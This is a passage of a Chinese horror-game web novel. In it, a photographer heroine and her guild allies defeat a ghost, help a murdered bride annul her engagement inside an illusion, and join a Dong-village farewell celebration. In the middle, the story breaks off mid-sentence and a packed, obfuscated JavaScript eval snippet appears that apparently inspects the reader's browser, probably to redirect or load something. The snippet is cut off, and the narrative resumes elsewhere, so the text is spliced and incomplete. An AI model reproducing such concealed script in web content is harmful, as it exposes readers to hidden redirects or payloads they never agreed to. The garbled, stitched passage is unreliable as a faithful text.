那鹰隼全身覆盖泛着金属光泽的蓝羽,鹰爪如钩,悍然无比。只不过几个俯冲的时间,就把听命于齐檎丹的好些个鬼怪,扯成碎片。 红鬼、蓝鹰两人合力之下,齐檎丹整整五张照片道具复制出的鬼怪,转眼间少了大半。 损失惨重。 红鬼扫了眼剩余的残兵败将,桀桀冷笑:“还有什么招数,尽管使出来吧!” 他一拳挥出,鬼火顷刻从拳头上脱离,化作火球与从空中俯冲下来的蓝鹰叠在一起,冲向齐檎丹。 两大技能叠加,攻击力瞬间加倍。 令人观之色变。 咄咄逼人的冲击力,叫人骨骼都险被碾碎。 齐檎丹勉强举刀抵挡,却还是被这堪称恐怖的冲击,掀得倒飞出去好几米远。 她身子飞出去后,狠狠砸在后方屋舍的墙上,只觉得五脏六腑都快要被震碎,忍不住把头一偏,无声地吐出一口腥咸的血。 幸好相机被提前收进了系统背包,不用跟她一起被击飞。齐檎丹苦中作乐地想。要不然,相机绝对报废。 齐檎丹掌中仍紧握着刀,刀刃上却已豁了口子。 宛然在嘲笑她的不自量力。 “还要继续吗?”红鬼走到她面前蹲了下来,俯视着地上的齐檎丹,以极尽嘲讽的语调嗤笑,“这么水灵的一张脸,我可不想打坏了。” 红鬼身上不断往外窜着火舌,齐檎丹感受到,自己正被那高温炙烤。 连刚流出的鲜血也被烤干。 还要继续吗? 齐檎丹也在问自己。 浑身火辣辣的疼痛,提醒着齐檎丹,她的身体已经接近极限。 已有了裂口的刀,不知道还能再撑多久,身体的强度也不足以再承受一次重击。如果现在向面前的人提出放弃,她还可能全身而退,但如果不这么做…… “哐——” 鼓楼里传出的巨响,中断了齐檎丹的思考。 又是一锤。表哥鬼手持铁锤,重重地打击在扩音设备上。 这次表哥鬼用的力度比上次更大。这接连二锤下去,设备的外壳完全被砸烂裂开,裸.露出里面复杂精密的电路。 齐檎丹的心弦倏然绷紧。外壳坏了没什么打紧,可要是里面的电路也被砸坏了,设备原本有的扩音功能,将会受到不可估量的影响。 这设备,承受不住第三次锤击。 齐檎丹看了看自己左手上刚刚止血的伤疤,又看了看手边即使豁了口,但依旧锋利的刀。半晌,她颤动着因失血而发白的嘴唇,给出了最终答案:“……不。” 红鬼没听清:“什么?” 齐檎丹仰起头:“我说,不。绝不 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齐檎丹挣扎着直起身子,攥紧了刀。她脸上沾了血污和灰土,眼底寒光却与刀刃寒光相互映照,透露着一股冷锐的狠劲。 齐檎丹对着手腕,举起了刀。 下一刻,鲜血化作血雾冲天而起,周围空气都被染作殷红。 血光四溅的瞬间,齐檎丹遽然抬头看去,面露愕然。 因为这鲜血不是她的。 是红鬼的。 无形无色的疾风化作利刃,干脆利落地,削下了红鬼凝聚火球的右手。 断手落地,红鬼正在成形中的技能,被外力强行打断。他手掌上,那颗择人而噬的烈焰火球,顷刻间熄灭殆尽,只剩下一缕浑浊黑烟。红鬼捂着手腕断裂的伤口,发出凄厉的惨叫。 看到熟悉的风刃技能,齐檎丹定了心神,往风刃的来向转头。 是顾斩风和龙骁,他们终于赶到了。 红鬼和蓝鹰如临大敌。 虽然进这个难度等级的副本,顾斩风和龙骁都遭到了系统的压制,但即便如此,这两人要吊打同为攻击性技能的他们,还是绰绰有余。 在强敌面前,红鬼和蓝鹰被迫放弃齐檎丹这个攻击对象,彻底转换了目标。 和齐檎丹刚见面,顾斩风就将一物抛来:“接着。石沛妮借给你的。” 空中一道虚影晃过。 齐檎丹没来得及细看,便匆匆抓在手心。 顾斩风带着龙骁,和西金公会的红鬼和蓝鹰形成对峙之势。梁安颜则使用“天女散花”技能,控制住在表哥鬼授意下,接连不断上来骚扰的鬼怪傀儡。 趁着鬼怪傀儡被技能分散注意力的时间,梁安颜迅速摘下他们耳朵里的棉花,对着他们公放侗族大歌:“你们专心对付红鬼和蓝鹰,这些捣乱的鬼怪傀儡,就放心交给我吧。” 至此,鬼怪傀儡和西金公会的打手,都被成功拖住。 再没什么,能阻拦通向鼓楼的道路。 机会近在眼前。 齐檎丹顾不得身上的伤势和污浊,踉跄爬起,抓紧时间向鼓楼里的扩音设备冲去。 扩音设备已经残破不堪。新的一锤子,她说什么都不能再让表哥鬼砸下去了。 69. 啼血侗歌22 表哥鬼早就等在鼓楼里面,守株待兔。 他不可一世的神情,在看到齐檎丹手上提的刀子时,出现了一瞬龟裂。 齐檎丹作为武器的长刀,表哥鬼不是没有见过。 但当时,那把长刀就长这样吗? 钢片为刀刃,竹节做手柄,刀身内侧雕刻着侗族传统的花纹。更重要的是,这把刀为什么跟石沛妮惯使的那把刀子,那么像。 该死!石沛妮死后,他不是已经把石沛妮的刀摧毁了吗? 怎么还会冒出来第二把? 表哥鬼的眼珠在眼眶里,慢慢转悠了一圈。 不知道想到了什么,表哥鬼那张覆满烧伤疤痕的脸上,紧锁的眉头舒展开来。他在短短数息之间调整好心情,指着齐檎丹手上的刀,发出嘲弄的狂笑。 “你手里的这把刀,是用幻术捏的吧?你以为变出石沛妮的刀子,就能吓唬到我了?”表哥鬼捧腹大笑,越笑越嚣张,“笑话!她的那把刀,早已经让我给毁掉了。” 齐檎丹平静地注视着他,没有承认,也没有反驳: “是吗?那就试试吧。” 齐檎丹举起长刀,挥刀上前。 白雪似的刀光在眼前一闪,表哥鬼只是放下锤子,不以为然地抬手去挡,仿佛对待小孩嬉闹的把戏。 但随即,迎面而来的刀风,竟然真切地割开了他的皮肤。 表哥鬼浑身一颤。 这难不成,真是石沛妮那把刀?! 想起婚礼迎亲之时,几乎将他杀死的伏击,顷刻间被放大到极度的恐惧,突袭了表哥鬼的内心。但表哥鬼这时候,已逃不掉了。 惊恐下的瞳孔迅速扩大,角膜反射出刀锋凛冽的光。 下一刻,白光变成血光。 齐檎丹一刀下去,劈开了表哥鬼的前胸。 表哥鬼成鬼的道行不浅,想死去没那么容易。但破碎的肢体,再也无法用秘法维系生前的模样。 失去生机多时的血肉,沿着刀口分离,脓血泼在地上,散发出难以言喻的恶臭。表哥鬼在地上挣扎弹动了两下,迅速露出腐败生蛆的庐山真面目。 齐檎丹捏着鼻子,给表哥鬼又补上了几刀,确保表哥鬼重伤到难以行动后—— 她秒退两米。 表哥鬼真实的模样,实在是太脏太臭了。 方才那几刀切下去时,有些流出的液体,还沾到了她的刀上。 齐檎丹瞬间被恶心得不行。要不是这把刀陪了她这么久,她都快不想要了。她赶忙拿出一大包纸巾,在刀上反复擦了又擦,直擦得闻不到异味,内心的障碍才稍微少了一些。 就在清理全部完成时,一个光点忽地从刀身上脱离,被齐檎丹眼疾手快,一把捞进手心里。 这,就是顾斩风带来的东西。 【石沛妮的刀(伪装版):噢,想开点!尽管你获得不了石沛妮的刀,但你至少获得了那把刀的样子。甭管是什么武器,只要加上这个光点,都会长得像石沛妮的刀。】 石沛妮让顾斩风带给她这个道具,真的是只能纯骗啊。也幸好齐檎丹真的有一把刀,和石沛妮的刀在用法上基本一样。 不然,从被表哥鬼看穿的那时候,她就可以提前告辞了。 齐檎丹舒了口气。 她检查了一下鼓楼里的扩音设备,庆幸地发现还能用,于是把扩音器主机、扬声器和麦克风连接,通上电源,并在麦克风前点击播放侗族大歌。 扩音设备的效果被齐檎丹调到了最大,音频里的歌声,通过分散在各处的几十个广播喇叭扩散出去,广泛覆盖了寨子的每一寸土地。 这歌声足够嘹亮,音量也足够大声。 鬼怪傀儡和红鬼、蓝鹰耳朵里塞的棉花,再也无法完全阻隔歌声。 在这套扩音设备的加持下,整个寨子里的人和鬼,很快就会被拉进石沛妮的幻境里。这样,石沛妮就能在幻境里将时间倒流回婚礼之前,完成一场“退婚”了。 晕眩感慢慢泛上脑海,齐檎丹在被传送到幻境里之前都睁着眼,看着重伤的表哥鬼慢慢被传送,从现实当中消失。 其实说实在的,齐檎丹很想把表哥鬼这个祸害一次性解决。 表哥鬼必须除掉,但不是现在。 退婚仪式里最重要的两个人,是准新郎和准新娘。和石沛妮订婚的是这个表哥鬼,因此,退婚也需要他。 而且退一万步讲,就算要复仇,也轮不上她齐檎丹越俎代庖。 最痛快的复仇,绝不是假手于人。 表哥鬼当初以残忍的手段杀死的,是包括石沛妮在内的全寨的人。要复仇,还得是让他们亲自来最好。 齐檎丹放松神经,在歌声里闭上了双眼。 马上要进入幻境里了,等到所有人都进入幻境,在幻境里帮石沛妮完成退婚,复仇的那一刻很快就会来临。 . 检测到齐檎丹进入幻境后,系统面板上的生命剩余值便自动消失了。 她睁开眼睛,看到了梁安颜、龙骁,还有他们旁边操控着风,把正在把西金公会的红鬼和蓝鹰往树上捆的顾斩风。 光大化日之下被五花大绑,红鬼和蓝鹰视之为奇耻大辱。他们竭尽全力地扭动身体,拼命尝试挣脱,而顾斩风仅是轻轻动了两下手指尖,就用风牵引着绳子,给落败的这两人打上了一个又一个死结。 最后一个死结打完后,顾斩风便收了技能:“好了。” 顾斩风转身离开,目光里毫无波澜,好像被绑在树上的两人皆是死物,不值得他半点在乎。 脾气暴躁的红鬼被气得直打哆嗦,连连咒骂: “靠!顾斩风你个……唔唔唔!” 齐檎丹不知道打哪儿找来了两块布,捏在手里团吧团吧,赶在红鬼骂粗话前,往西金公会的这两人嘴里分别一塞,简单粗暴地,把不堪入耳的唾骂声全堵了回去。 齐檎丹双手插腰,看笑话似的瞅着刚才还扬言要打死她的红鬼,有话骂不出来,直憋得涨红了脸了丑样,故意到红鬼面前做了个鬼脸:“他绑人,我塞布,合作愉快。” 只一句话,就把她和顾斩风说成是绑定在一起,祸水东引了。 顾斩风听见,不觉失笑。 挺机灵的,知道推王座公会出来,给自己挡灾。 要不是之前说好了,这次只是演给王座公会会长看的合作,顾斩风只怕要和所有看直播的人一样,误以为她已经决意加入王座公会了。 王座公会虽然不是什么好公会,但毕竟地位摆在那里,这个名头还是有点分量的。至少,把这名字摆出来一放,连西金公会里的这群疯子惹是生非起来,都要先掂量掂量后果。 其他循规蹈矩的小公会,更是没多少敢造次的。 报完红鬼和蓝鹰的一箭之仇,齐檎丹又问:“蔡绿和表哥鬼呢?” “蔡绿啊,在那儿呢。”梁安颜伸手一指。 齐檎丹顺着她手指的方向看去,瞧见蔡绿也在大树上被绑着。蔡绿垂头丧气,眼底无光,像条死狗一样瘫在树下,疑似失去了所有力气与手段。 村口三棵大树下,分别绑着他们“三原色兄弟”。西金公会派来的三个人全在这里,可以说是十分的整整齐齐。 好一伙难兄难弟。 蔡绿的下落梁安颜清楚,可是表哥鬼进幻境之后去了哪里,梁安颜却答不上来:“我们一进来就在这里了,一直没看见他。” 不止表哥鬼,那些进幻境后解除了傀儡状态的鬼怪,他们也一个都没有看见。 这些鬼都去哪里了? 齐檎丹终于抬眼,打量起石沛妮幻境里的这个寨子。 石沛妮幻境里构建出的寨子,和他们之前在表哥鬼的幻境里看见的寨子,没有太大差别,都还原了遭遇劫难之前那个其乐融融的村寨。 并且,这个村寨里生活的“人”很多。 村寨里炊烟袅袅,鸡犬相闻,犹如一幅安居乐业的画卷。 梁安颜右手轻抵着下巴,思考道:“难道说,石沛妮把那些鬼怪都变回了人的样子?包括表哥鬼也是?” 龙骁摇摇头:“我们才来这么一会儿,暂时还不出来。但是想知道也不难,这儿人这么多,我去找一个人来问问,不就知道了?” 社交,可是他获取信息的一大渠道。 然而龙骁失算了,这回还没轮到龙骁开出马,他们几个就先被寨里的侗民叫住,每人各被往手里塞了一张红彤彤的婚礼请帖:“明天寨子里举办婚礼,石家的闺女石沛妮就要出嫁喽。别忘了来吃喜宴。” “没搞错吧?明天?!”龙骁瞳孔地震,“时间这么赶?” 也就是说—— 虽然时间被倒退回了婚礼前,但他们只有不到一天时间协助退婚。 没在规定时间内退婚成功,即视为任务失败。 时间超级紧。 齐檎丹撇撇嘴。她就知道,系统不可能放任他们在副本里无休无止地待下去。 即便生命剩余值没有出现,也应该会有一个代替生命剩余值的时间限制功能,逼着他们滋生紧迫感,加紧完成任务的东西。就像“峭壁悬棺”副本里的尸化一样。 “不过放轻松,没问题的。”齐檎丹扬起笑颜,似乎一点没把时间限制放在心上。 “真的?”龙骁半信半疑,却看见顾斩风居然也点了头。 龙骁可能不相信齐檎丹,但不可能不相信他们自己的队长。既然队长说办得到,那他就真信了。 但龙骁还是茫然:“可是,为什么?” “你仔细回想一下,那个人脸上的表情。”齐檎丹指出,“那人愁眉苦脸,说起这桩婚事时隐隐摇头,就差没在我们面前叹口气了。” 显然,寨子里的人对这桩婚事的态度,发生了极大的转变。 兴许是因为记忆没被抹除,又或者之前的遭遇已经深深地影响了这些人,他们对这婚礼颇不支持。 这大大减轻了退婚的阻力。 “走吧,去见石沛妮。”齐檎丹轻车熟路地找到了石沛妮家。 正在筹划如何退婚的石沛妮,热情地接待了他们,并且从抽屉里拿出了提前准备好的茶包。 侗族的退婚方式有两种,一是抢鸡头,二是退茶。 抢鸡头的退婚方式,指的是无论哪个小伙子抢到鸡头,都能和女方订婚——与其说是退婚,不如说换了个新郎继续结婚,石沛妮依旧没有选择权。所以,在只想退婚的情况下,还是选择退茶这种方式最好。 石沛妮拿着茶包,对这次退婚信心满满,势在必得。 “你不担心表哥鬼捣乱?”梁安颜问。 石沛妮从卧室的刀架上拿起刀,挂在腰间,朝他们嫣然一笑:“不担心,表哥我已经处理好了。这还得感谢你们,他进我的幻境时,已经倒在地上动不了了。” 说完后,石沛妮便把茶包揣进怀里,要出发去往舅家。 “等一下。”她被齐檎丹叫住。 赶在石沛妮出门,齐檎丹往她手里塞了一张刚画好的地图:“赶紧打开看看。这东西,或许能帮得上你的忙。” 这张图,是到石沛妮舅家堂屋的简易路线图。上面事无巨细地进行了标注,写明了哪里方便藏身,哪里最可能被捉。 这张图来得正是时候。因为表哥鬼的原因,石沛妮自从发现那个秘密后,便很少和舅家有来往,对舅家里面的构造没那么熟悉,这张路线图,无疑能在这次退婚中提供给她很大的助力。 石沛妮接过地图,欣喜万分:“你是怎么画出来的?” “根据这个视频画的。”齐檎丹拿出相机,展示了她在现实空间时,忽悠“三原色兄弟”偷溜进堂屋,引发石沛妮舅家捉拿后,趁机拍的视频。 尽管当时跟她们说要退婚的,是表哥鬼变的假石沛妮。 舅家的吊脚楼却是真的。 石沛妮幻境里,舅家的吊脚楼与现实中一样,有着同样的格局构造,所以根据视频绘制的地图同样可靠。 接下来的退茶过程,和齐檎丹事先猜测的一样顺利。由于寨子里的人,全部拒绝了帮舅家阻止石沛妮退婚这个忙。他们在退茶的过程中,几乎没有遇到任何阻力。 寨民们放水放出了一条大河。 退婚唯一的意外,出现在石沛妮的舅家。 在舅家里,石沛妮遇到了一个她所熟悉的,却绝对不想见到的人。 . 那会儿,石沛妮刚在他们的帮助下,翻墙进入舅家,一阵脚步声便猝然而至。石沛妮动作飞快,立刻按照手绘地图上的藏身地点,就近钻进了舅家的厨房,躲在了水缸后面。 与她一同躲起来的,还有陪同她来退婚的齐檎丹和梁安颜。 水缸后,石沛妮悄悄探出头。 视线离开水缸的遮挡后,她看见了那串脚步声的来源——一个步履蹒跚的老妇人。 许是因为年轻时重活累活做得太多,那老妇人早已经佝偻得再也挺不直脊背,两腿膝盖也不太好使。可性格要强的她,宁愿用受伤的双腿撑起身体艰难行走,也不愿意借助拐杖。 石沛妮先是一愣,纤长的眼睫毛慢慢地垂了下来:“这个人,是我的舅妈。表哥鬼杀她的时候,还没学会剥皮锁魂制造傀儡的方法,按理说,她应该已经入轮回了……” 但她没想到,舅妈的鬼魂竟然没有离开,而是仍旧逗留在村寨里,被歌声一起吸进她的幻境里来了。 石沛妮对舅妈的情感,非常复杂。 一方面,她能理解舅妈在长期孤独困苦的情况下,为什么会对儿子产生极端的控制欲和母爱。另一方面,石沛妮也很清楚,她能理解,不代表她能原谅。 从某种意义上,舅妈的死是自食恶果。如果她没有为了一己私欲,将孩子的鬼魂强行留下,也就不会有表哥鬼对寨中百姓的屠杀。 即便在退婚这件事上,这个护子心切的母亲,也可能成为石沛妮退婚行动里,最大的阻碍。 石沛妮心事重重地缩回脑袋。 她重心后挪,将身体移动回水缸的后方,脚底下,却突然踩断了一根用来烧火的枯树枝。 “咔嚓——” 干枯的树枝应声而断。 声音清脆,在寂静的厨房里极其清晰。 舅妈本来已经要从厨房门口经过的脚步,蓦然停住。她警觉地折返回来,两只发灰的老眼盯住厨房,一瘸一拐地往厨房里面走。 坏了,怎么发出声音了。石沛妮忍不住责怪自己。 要被舅妈发现了吗? 脚步声越来越近,石沛妮情不自禁.地屏住呼吸。 舅妈腿脚不好,只要她逃得够快,就不会被捉住成亲。但从舅家离开,也宣告了她这次退婚的失败。能不走,石沛妮还是想尽量不走。 躲在厨房其他地方的齐檎丹和梁安颜,目睹了这变故发生的整个过程。 以她们的第三视角,石沛妮此刻的处境,比石沛妮本人所预想的,更加危险。 水缸后,不是一个好的藏身之处。 太容易暴露了。 水缸上宽下窄腹部鼓,隐没在阴影里的底部直径最小,能起到的遮挡作用最少。因为石沛妮方才的挪动,她衣袖的一角,已不慎从水缸底部的旁边露出。 衣袖虽是深色,与阴影颜色大同小异,上面精美的侗绣花纹,却与使其地面呈现出截然不同的质感。 但凡石沛妮的舅妈再往前走半步,就会发现石沛妮的踪迹。 齐檎丹的心一下被擢紧。 她连忙转头,给距离石沛妮最远的梁安颜递了个眼色。梁安颜会意,伸手往旁边摸了一根干柴,往远处一丢。 干柴落在地上,咕噜噜滚到了舅妈软底的布鞋边,试图以动静获得关注。 可舅妈的眼珠子没有动。 她视线仍定定地聚焦在某个点上,聚焦在水缸后面。 而水缸后的那个位置,好巧不巧,正是石沛妮衣袖露出的地方。 舅妈一定是看到了。 齐檎丹在心里替石沛妮叹了口气,很有些惋惜。她做好了随时掩护石沛妮撤退的准备。 舅妈紧盯着石沛妮藏身的位置,看了良久,最终却令人意外地深深埋下了头。她分明发现了石沛妮到来,也应该能想到石沛妮过来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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目光里,充满深重的恨意。 曾让石沛妮丧命的地方,现在成为了困住表哥鬼的囚笼。 “看到了吗?我已经把茶包还回去了。从今往后,我跟你,将不再有任何关系。”石沛妮当着表哥鬼的面,拿起了她那把狠狠捅伤过表哥鬼的刀,拔刀出鞘。 银白的刀光贴着表哥鬼脖颈,左右滑动。 “来啊,杀了我啊!我不怕!”表哥鬼大声叫嚣,布满烧伤疤痕的五官,在夸张的讽笑中扭曲,“就像你在迎亲时,本该做的那样。” 石沛妮面无表情。她手中的刀,绕着表哥鬼的脖颈转了一圈—— 猛地刺进表哥鬼肩膀。 刀刃扎进去,绞着肉,狠狠转了半圈。 直接作用在魂体上的伤害,锥心刺骨,让表哥鬼承受不住地竭力蜷缩身体,疼得嘶嘶抽气。 “你以为,我要一刀结果你吗?那你想得太美了。” 石沛妮拔.出血淋淋的刀子。 将拿着刀的手撑在腮边,她望着视野里痛苦扭拧身子的表哥鬼,轻声嗤笑,笑声里却透着悲凉: “我会把这把刀放在外面。这样,全寨一共两百二十一个人,每一个人被你杀死的人,都有机会过来,捅.你几个血窟窿。好让你也尝尝,我们当时的感受。” 表哥鬼曾经施加在他们身上的痛苦,漫长又折磨。他们如今得了机会,总该从表哥鬼身上,一笔一笔地讨回来。 以牙还牙,以眼还眼。 表哥鬼的结局,如同最后一块拼图。 拼上了最后一部分故事。 通知寨里的人来报仇后,石沛妮最后看了一眼,在地上痛得哀嚎的表哥鬼。紧接着,她从卧室的照片墙上取下一张双人照片,烧掉、销毁。 擦亮的火光微微发红,映着石沛妮眼底,也照亮了她眼底掠过的一丝怅然:“世事无常。谁能想到,小时候有段时间,表哥曾经是我不错的玩伴呢?” 那张被烧掉的双人合影中,石沛妮旁边的那一个人,便是毁容前的表哥鬼。那张照片里,他们两个孩童正坐在地上一起搭积木,氛围和谐融洽。 人总是会变的,更何况由人变鬼。 儿时的玩伴,最终变成了她认不出的狰狞面目,为祸村寨。 石沛妮的这句话宛如某种魔法。齐檎丹那停止增长的剧情解锁度被唤醒,从被冻住一般的99%,缓慢地攀登到了100%的最高峰。 【恭喜您!剧情解锁度已达100%,稍后将由副本核心角色石沛妮,为您发放奖励。】 嗯?由石沛妮亲自发?就跟上个副本里,小老头给她创世宝珠一样吗? 齐檎丹困惑地挑了下眉。 下一刻,石沛妮便主动开启了话题:“听说,你也有一把刀。” “对。”齐檎丹刚点了点头,石沛妮就在她的刀上虚虚抓了一把,将一个深紫色的光点从刀上抓出,伸手拿给了齐檎丹。 这光点,跟能伪装石沛妮那把刀的那个道具,很是相似。 但齐檎丹一接在手里,就发现了不同。 【石沛妮的刀意(稀有):如果剑有剑意,那么刀也有刀意。该道具凝聚了石沛妮毕生所学的招数和意志,与刀具融合之后,刀具在面对越强大的鬼怪时,将会拥有越强大的杀伤力。】 显然,这就是100%剧情解锁度获得的奖励。 “谢谢你之前给我画的地图,很有用,所以我想,我也应该送你一个东西。”石沛妮笑着对她说,“我已了结执念,不日就会去转世轮回,刀子也放在这里供人取用。若你不拿去,这东西就再也用不上了。” “那么,谢谢了。”齐檎丹于是取出长刀,将其与“石沛妮的刀意”融合,变化立竿见影。 【检测到已融合稀有级道具,道具“愤怒的长刀”品质等级发生变化。】 【恭喜!道具“愤怒的长刀”品质等级已提升,由“普通”提升为“稀有”。】 神秘复杂的侗族图纹,浮现在刀身之上。 形成实用的血槽。 齐檎丹试了试,发现挥动长刀时,还能看见吐露着淡淡的紫色光辉,颇有威慑力。 “我在村子里看到一个漩涡了,你们等下是不是要从那里出去?”石沛妮询问他们,“我私心希望,你们能晚点走。你们是冲着‘吃相思’的联谊活动,被表哥鬼骗过来的,结果联谊没联谊成,还让你们帮了那么多忙……” “嘿嘿,这没关系的啦。”龙骁赶紧开口。 “……不,虽然是表哥骗的人,但我们寨子确实是招待不周。”石沛妮摇摇头: “所以,我和寨里的其他人特意讨论过了,我们都想要以我们侗族的习俗,用‘吃相思’的仪式来欢送你们,以显示我们的感激。请务必不要推辞。” 石沛妮话音未落,门外已传来了三声炮响。 “砰!砰!砰!” 放三响铁炮,送客人出寨门,这是侗族的恭送客人的仪式之一。 三声炮响过后,吊脚楼外随即热闹起来。歌声、笑声和欢闹声犹如拍岸潮水,一浪高过一浪。爱拍照的齐檎丹立刻拿起相机,爱热闹的龙骁和梁安颜,也被石沛妮带出门去。 顾斩风本来也要跟着他们,一起从吊脚楼中离开。然而,当顾斩风从桌边经过时,动作却倏然顿住。 他无意间瞥见了桌上的地图。 退婚既已成功,发挥完作用的手绘地图,也被石沛妮随手放在了桌子上。 从这张地图的标记之上,顾斩风看到了他极熟悉的字迹。许多字的写法和笔画的倾斜角度,竟和当年被风捎来的那封信上,颇为相似。 齐檎丹写的字,居然…… 顾斩风敛下眉眼锋利的线条,瞳孔中晦暗一片。 趁左右无人,顾斩风悄然从地图上撕下一角,收进系统背包。随后,他才加快脚步,走出了吊脚楼。 70. 现实世界1 打从表哥鬼被严密控制起来后,他所制造的幻境自动破灭,把还没被杀死的考察员全部放了出来。而石沛妮的幻境也在退婚完成后,逐渐消失。 因此现如今,吊脚楼外的现实里,已是一副人与鬼并行的热闹场面。 现实里的夜幕,取代了幻境内的阳光。 残破的寨子里,欢歌飘荡。 热烈的篝火照亮长夜,侗寨里的居民们用竹竿挑起锦旗、彩匾和还在甩尾巴的活牛,作为赠礼。还不断有人拿糯米草包的糯米饭和红蛋,往他们怀里塞。 齐檎丹手上还拿着相机拍照,根本接不住他们硬塞来的东西。她边往副本出口走,边回过身,想给如今的石沛妮拍上一张,旁边却有一股力量不小心碰撞到了她的手肘。 相机旋转,齐檎丹食指无意间按动快门,一张照片即刻成像。 这样失误拍出来的,多半是废片。 齐檎丹刚条件反射性地想删除,“照鬼相机”发来的提示,就令她精神一振。 【恭喜获得SS级照片“疮痍后的欢庆”,已复刻鬼怪实力200%。】 等等,SS级?! 难道这张照片是意外之喜? 齐檎丹打消了删除照片的念头。她将刚刚获得的照片道具,拿起来一看,镜头旋转移动时获得的旋焦效果,顿时令她惊艳。 照片周围,远处飘动的彩旗、破败的寨中建筑被虚化,模糊虚化的光斑被拉扯成漩涡,在静态之中增添了几分动感。但照片正中,镜头聚焦在近处欢歌庆祝的侗寨居民身上,每一个表情都生动清晰。 虚与实,恰到好处地结合。 而且虚实程度,恰好与鬼魂和实际存在的房屋相反。 照片中央,作为画面主体的石沛妮翩然起舞。旋转与虚焦带来的迷离和不真实感,从她飘扬的裙摆边缘,蔓延开来,仿佛从热闹当中,悄然横生出一股化不去的孤寂虚无。像极了他们离开后,村寨最后的结局。 欢乐只是暂时的,冷清才是归宿。 等到一时的繁华过后,寨民们化作的鬼魂陆续离开。这个村寨,同样将无可避免地归于死寂。 即便表哥鬼已经落入他们手里,可以任凭他们发泄仇恨,他给寨子留下的伤害,却永世无法抹去。 向往自由的石沛妮,再也无法晒到真实的阳光,退婚也只能局限于幻境之中。更不要提逝者已经终结的生命,未竟的梦想,无法维持的安宁生活……所有的一切,都随着他们的死,被残忍地按下了终止键。 齐檎丹在这个副本里拍了很多照片,照片道具的等级也达到了预期,她本该高兴,然而在想到这一点时,她还是觉得心里一空。 鬼怪终究不是模特,而是惨烈死去的人。 哪怕明知这只是副本,齐檎丹还是很难不与之共情。 齐檎丹手里捏着照片道具,正有些出神,旁边的梁安颜扭头看了她一眼,却突然掩唇嗤嗤笑了起来:“齐檎丹,你的脸……” 梁安颜没再继续说下去,只是往她左腮指了指,递给她一面小镜子。 齐檎丹揽镜自照。 瞬间,她自己也噗嗤一声笑了出来。 估计就是方才拍照时被撞的那一下,她左腮上,被人抹上了一道鲜艳的红色,像是某种果子的汁液。 齐檎丹对着镜子端详了两眼,还没来得及伸手擦拭掉这道痕迹,脸上又冷不丁新添了几道或红或绿的色彩。好端端一张白净的脸蛋,没过多久,便被涂抹成了五颜六色的小花猫。 齐檎丹转过头反观梁安颜,发现梁安颜脸上也添了好些道色彩:“他们这个举动,是什么意思?” 梁安颜对这些涂抹的痕迹,一点也不反感:“意思是,这些侗族人喜欢你。你脸上被涂得越多,就表明你越受欢迎。” 事实上,他们这几个年轻漂亮的考察员,都是被瞄准的重灾区。 每个人脸上,多的是花花绿绿的痕迹—— 除了顾斩风。 顾斩风那张冰块脸,先劝退了一半想往他脸上涂汁液的侗族人,另一半伸过来的手,也被他皱着眉避开了。 他以“风刃”技能变出的风,在阻拦这方面简直是无往不利。那些手还没挨着顾斩风的边,已感觉像隔了一层不可见的薄膜,不管怎么努力,也近不了他的身。因此,在一大堆花脸当中,顾斩风的脸白净得特别扎眼。 齐檎丹看得有点羡慕:“我们脸上都被涂抹得乱七八糟了,只有他一个人干净着,不太公平吧?” 不行,高低也得给他整上点。 齐檎丹摩拳擦掌。 她穿过人群,挤到顾斩风身边。那里,正好有一个格外执着的侗族姑娘,那姑娘屡战屡败,见一直抹不到顾斩风脸上,被急得直蹙眉头。 “没事儿,我来帮你。”齐檎丹看向那个失落的姑娘。她说着,伸手将指尖往那姑娘带来的彩色汁液里一蘸,朝顾斩风抹来。 顾斩风偏头一闪,要来捉她作乱的手腕。 不想,他的动势却被齐檎丹预判。齐檎丹险之又险地躲过,冲他俏皮地眨了眨眼:“顾大佬,同样的招式不要用第二次噢,不管用了。” 同样的坑,她齐檎丹才不会再栽一次。 齐檎丹扬起唇角,笑靥粲然。顾斩风猝不及防地被这笑容晃了眼。 “噼啪——” 篝火上,灿烂的火花在黑夜中爆开。清清楚楚的爆裂声,如同有人往心房里放了一串炮仗。 就在那一愣神的瞬间,顾斩风忽然感到,脸侧传来极柔软的触感。蘸着汁液的指腹微凉而湿润,只在皮肤上停留短短一瞬,便迅速挪开,如同一片不期然掠过的花瓣。 掠过脸颊,也掠过心尖。 “铛铛铛铛!抹到啦!”齐檎丹得手之后,立刻缩回手指,举着从梁安颜那儿借来的小镜子,故意将自己的“杰作”展示给顾斩风,上挑的眼尾里满是得意。 镜子对得不是很准,只能隐约照出顾斩风脸上的一抹红,更具体的却瞧不真切。 顾斩风用手指沾了一点那红色,放到眼前细看。 那颜色,也许来自捣碎的浆果。 是很热烈的红。 红意灼灼逼人,不仅与齐檎丹耳边那一缕挑染的发丝颜色相近,也像极了始作俑者的名字。 檎丹,意为野生红苹果的颜色。像这样鲜艳的色彩太过出挑,即便生在悬崖峭壁上,藏在深山密林里,也不免吸引来过路人的目光。 和齐檎丹本人一样,惹人注目。 齐檎丹使完坏后就跑,顾斩风抬眼,追寻着她离开的方向而去。 才不过一转眼时间,齐檎丹已经成为了人群中的焦点。她拿着相机的身影,被考察员和鬼怪们簇拥着,连快门的声响都被淹没在欢歌笑语之中。顾斩风只是随便一看,就在好几个鬼怪手里,看见了她拍摄的照片。 以齐檎丹的性格,在这种聚会上往往很吃得开,会成为中心并不奇怪。特别是,当她把给鬼怪拍的美照打印出来,当礼物送的时候。 齐檎丹拍了多少张照,又把照片都送给了谁,这件事本与顾斩风毫无关系。可顾斩风常年沉寂的心湖里,却罕见地掀起了一丝波澜。 他隐隐感到有些烦躁。 望向齐檎丹的目光是那样多,他只是其中一个。 方才沾到的浆果汁已被风干,在手指上残留下一点微微红印。指甲盖碾上去,用不了多少力气就碾碎了,淡淡的果香飘散开来,初闻时觉得甜,后调却在顾斩风口鼻里,留下无尽酸涩。 顾斩风的思维忍不住发散开去。齐檎丹知道,这样将色彩涂抹在异性脸上,是什么意思吗? “吃相思”结束时的这种习俗,顾斩风是知道的。 而且,他比齐檎丹知道得更多。 